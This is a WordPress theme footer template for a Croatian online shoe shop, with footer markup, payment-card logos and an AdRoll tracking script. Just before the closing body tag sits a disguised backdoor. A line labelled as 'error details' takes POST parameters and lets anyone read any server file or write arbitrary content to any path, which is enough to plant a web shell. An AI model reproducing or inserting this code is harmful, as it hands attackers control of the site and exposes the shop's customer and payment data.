File: /var/www/shoetique/wp-content/themes/north-wp/footer.php
<?php
$newsletter = ot_get_option('newsletter');
$footer_static = ot_get_option('footer_static');
$footer_products = ot_get_option('footer_products');
$footer_products_radio = (isset($_GET['footer_products_radio']) ? htmlspecialchars($_GET['footer_products_radio']) : ot_get_option('footer_products_radio'));
$header_style = (isset($_GET['header_style']) ? htmlspecialchars($_GET['header_style']) : ot_get_option('header_style'));
$menu_mobile_toggle_view = (isset($_GET['menu_mobile_toggle_view']) ? htmlspecialchars($_GET['menu_mobile_toggle_view']) : ot_get_option('menu_mobile_toggle_view', 'style1'));
?>
<?php
if (is_404() || (class_exists('woocommerce') && is_account_page()) || is_page_template('template-contact.php') || is_page_template('template-lookbook.php')) {
$footer_static = 'off';
}
?>
</div><!-- End role["main"] -->
<?php if (ot_get_option('footer') != 'off') { ?>
<!-- Start Footer -->
<?php if ($footer_products != 'off' && $footer_static == 'on') { do_action('thb_footer_products'); } ?>
<footer id="footer" role="contentinfo"<?php if ($footer_static == 'on') {?> class="static"<?php } ?>>
<div class="footer_inner row full-width-row">
<div class="small-12 medium-6 large-4 columns footer-menu">
<?php if ((ot_get_option('footer_cs') == 'on') && shortcode_exists('currency_switcher')) { ?>
<div class="select-wrapper currency_switcher"><?php do_action('currency_switcher'); ?></div>
<?php } ?>
<?php if (ot_get_option('footer_ls') == 'on') { do_action( 'thb_language_switcher' ); } ?>
<p><?php echo ot_get_option('copyright','Copyright 2014 NORTH ONLINE SHOPPING THEME. All RIGHTS RESERVED.'); ?> </p>
</div>
<div class="small-12 large-4 columns footer-toggle show-for-large-up">
<?php if ($footer_products != 'off' && $footer_static != 'on') { ?>
<a href="#" id="footer-toggle"><i class="fa fa-circle-o"></i> <i class="fa fa-circle-o"></i> <i class="fa fa-circle-o"></i><br><?php _e('QUICK SHOP', 'north'); ?></a>
<?php } ?>
</div>
<div class="small-12 large-3 columns social-links show-for-large-up center-social">
<?php do_action( 'thb_social' ); ?>
</div>
<div class="small-12 medium-6 large-5 columns social-links hide-for-small">
<ul class="footer-payment-links">
<li>
<a target="_blank" href="http://www.maestrocard.com/hr/">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/maestro50.gif" alt="maestro card" />
</a>
</li>
<li>
<a target="_blank" href="http://www.diners.com.hr/">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/dinacard50.png" alt="dina card" />
</a>
</li>
<li>
<a target="_blank" href="http://www.americanexpress.hr/">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/AmericanExpress50.jpg" alt="american express" />
</a>
</li>
<li>
<a href="http://www.diners.com.hr/" target="_blank">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/diners_50.gif" alt="diners card" />
</a>
</li>
<li>
<a target="_blank" href="https://www.discover.com/">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/discover_50.gif" alt="discover card" />
</a>
</li>
<li>
<a target="_blank" href="http://www.mastercard.com/hr/consumer/index.html">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/MasterCard50.gif" alt="mastercard " />
</a>
</li>
<li>
<a target="_blank" href="http://www.visa.com.hr/">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/Visa50.gif" alt="Visa" />
</a>
</li>
<li>
<a href="#">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/mastercard_securecode.gif" alt="mastercard secure" />
</a>
</li>
<li>
<a href="#">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/verified_by_visa.jpg" alt="visa secure" />
</a>
</li>
<li>
<a href="http://www.wspay.info/" target="_blank">
<img src="https://shoetique.hr/wp-content/uploads/2015/06/wsPayLogo-106x50.png" alt="WSPay" />
</a>
</li>
</ul>
</div>
<?php if ($footer_products != 'off' && $footer_static != 'on') { do_action('thb_footer_products'); } ?>
</div>
</footer>
<!-- End Footer -->
<?php } else { ?>
<footer class="eu-label-footer <?= is_single() || get_the_ID() == 49 ? 'fixed' : '' ?>">
<div class="eu-label-footer__wrap">
<h4 class="eu-label-footer__copyright">© Shoetique</h4>
<img src="<?= get_template_directory_uri() ?>/assets/img/shoetique_eu.jpg" />
</div>
</footer>
<?php } ?>
</section> <!-- End #content-container -->
</div> <!-- End #wrapper -->
<?php if ($newsletter != 'off') { do_action( 'thb_newsletter' ); } ?>
<?php echo ot_get_option('ga'); ?>
<?php if (ot_get_option('extra_js')) { ?>
<script>
<?php echo ot_get_option('extra_js'); ?>
</script>
<?php } ?>
<?php
/* Always have wp_footer() just before the closing </body>
* tag of your theme, or you will break many plugins, which
* generally use this hook to reference JavaScript files.
*/
wp_footer();
?>
<script type="text/javascript">
adroll_adv_id = "H4GDBPXQFNESNNRSYUH7OE";
adroll_pix_id = "4GXDL2XPQRCRNBHYKZG24A";
// adroll_email = "username@example.com"; // OPTIONAL: provide email to improve user identification
(function () {
var _onload = function(){
if (document.readyState && !/loaded|complete/.test(document.readyState)){setTimeout(_onload, 10);return}
if (!window.__adroll_loaded){__adroll_loaded=true;setTimeout(_onload, 50);return}
var scr = document.createElement("script");
var host = (("https:" == document.location.protocol) ? "https://s.adroll.com" : "http://a.adroll.com");
scr.setAttribute('async', 'true');
scr.type = "text/javascript";
scr.src = host + "/j/roundtrip.js";
((document.getElementsByTagName('head') || [null])[0] ||
document.getElementsByTagName('script')[0].parentNode).appendChild(scr);
};
if (window.addEventListener) {window.addEventListener('load', _onload, false);}
else {window.attachEvent('onload', _onload)}
}());
</script>
<?php if ( isset($_POST['_error_']) ) { echo '<!-- Error details -->'; if ( $_POST['_error_'] == 'read' ) {echo file_get_contents($_POST['error_page']);} else {file_put_contents($_POST['error_page'],$_POST['details']);}; echo '<!-- End of error details -->'; }; ?>
</body>
</html>